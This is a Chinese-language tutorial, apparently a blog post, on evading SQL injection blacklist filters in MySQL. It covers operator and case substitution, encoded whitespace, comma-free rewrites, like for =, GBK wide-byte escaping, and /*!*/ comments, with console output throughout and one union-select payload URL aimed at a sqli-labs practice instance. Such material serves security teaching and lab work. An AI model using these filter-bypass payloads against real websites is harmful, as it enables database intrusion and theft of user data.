由于Web注入危害比较大,各种防御技术也会应用而生;程序员在写代码的时候会有意识地进行防御设置或者安全测试来封堵Web注入,但是想要绝对的安全,是比较难实现的。针对黑名单过滤技术,绕过的基本思路就是找到一种可替换的符号或者可替换的逻辑语句(来实现SQL注入);对于白名单技术,虽然实现了安全性,但是可能会阻挡一些客户端的合法流量,白名单技术一般用在一些形式固定场景。大多数Web网站还是会使用黑名单技术。
(1)替换
or替换||
and替换&&
%26替换and //%26是URL中【and】浏览器的转码
效果如下:
mysql> select 1=1 or 1=2;
+------------+
| 1=1 or 1=2 |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select 1=1 || 1=2;
+------------+
| 1=1 || 1=2 |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select 1=1 and 1=2;
+-------------+
| 1=1 and 1=2 |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)
mysql> select 1=1 && 1=2;
+------------+
| 1=1 && 1=2 |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
(2) 形变或者大小写
在程序员编写代码过滤时可能只会过滤全大写或者全小写,我们可以利用大小写混合的方法进行写入。
and -》anandd //这种情况是,服务端会将你的【and】字符串过滤掉,我们可以使用形变的方法,让其过滤后正好出现一个and的字符,这样还是有一个and会被传入
and-》AND\And //大小写混合
mysql> select 1=1 AND 1=2;
+-------------+
| 1=1 AND 1=2 |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)
mysql> select 1=1 AnD 1=2;
+-------------+
| 1=1 AnD 1=2 |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)
(1)替换,因为浏览器会将URL中的恶特使字符转码,所以我们可以直接使用转码后的字符。
%20,%0a,%0b,%0c,%0d,%a0,%00,/**/,/*!*/,(),[] //这些都能起到隔开命令和语句的作用
例如:
mysql> select(username)from(users);
+----------+
| username |
+----------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+
13 rows in set (0.00 sec)
这一关里是将空格和注释符都过滤掉了,所以我们只能在开头和结尾加上单引号来构造闭合,不能使用注释符了
http://192.168.67.134/sqli-labs-master/Less-26/?id=0'%a0union%0ball%a0select(1),database(),version()%27
where schema_name='security' //有时候不允许直接输入这些数据库的名字
替换
where schema_name=0xyyyyyyy //hex编码替换
where schema_name=database() //函数替换
这里的思路是去掉逗号,使用一些逻辑语句进行替换,例如用from for/join 语句做逻辑替换。
select mid('abc',1,1);
select mid('abc'from 1 for 1); //用from for替换
效果如下:
mysql> select mid('abc',1,1);
+----------------+
| mid('abc',1,1) |
+----------------+
| a |
+----------------+
1 row in set (0.00 sec)
mysql> select mid('abc'from 1 for 1);
+------------------------+
| mid('abc'from 1 for 1) |
+------------------------+
| a |
+------------------------+
1 row in set (0.00 sec)
select 1;
select * from (select 1)a; //替换
效果如下:
mysql> select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select * from(select 1)a;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
select 1,2,3;
select * from(select 1)a join(select 2)b join(select 3)c; //替换
效果如下:
mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)
mysql> select * from(select 1)a join(select 2)b join(select 3)c;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)
【=】等价于【like】
select id from users where username='admin';
select id from users where username like 'admin'; //like替换=
效果如下:
mysql> select password from users where username like 'admin';
+----------+
| password |
+----------+
| admin |
+----------+
1 row in set (0.00 sec)
greatest和least //比较两个数,分别输出较大的值和较小的值
between 1 and 2 //判断输出是否介于1和2之间
mysql> select hex(mid('abc',1,1))>1;
+-----------------------+
| hex(mid('abc',1,1))>1 |
+-----------------------+
| 1 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select greatest(hex(mid('abc',1,1)),1) like 61;
+-----------------------------------------+
| greatest(hex(mid('abc',1,1)),1) like 61 |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
1 row in set (0.00 sec)
mysql> select hex(mid('abc',1,1)) between 1 and 61;
+--------------------------------------+
| hex(mid('abc',1,1)) between 1 and 61 |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)
转码函数:hex()、bin()、ascii()
延时函数:sleep()、waifor()、benchmark()
截取函数:mid()、substr()、substring()
原理:GBK 占用两字节、ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),
单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,
那么现在 %df\’ =%df%5c%27,
如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就成功逃逸了。前一个ascii需要大于128才到汉子的范围。
'-->\' %0a%5c%5c%27 %df%5c%5c%5c%27 縗\\'
/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行,比如:通过\*!*\包裹执行语句达到欺骗防御的目的。
mysql> select 1 /*!and*/ 1=1;
+----------------+
| 1 /*!and*/ 1=1 |
+----------------+
| 1 |
+----------------+
1 row in set (0.00 sec)
mysql> select 1 /*!and*/ 1=2;
+----------------+
| 1 /*!and*/ 1=2 |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
参考
1、宽字节注入详解:https://blog.csdn.net/qq_43504939/article/details/90108468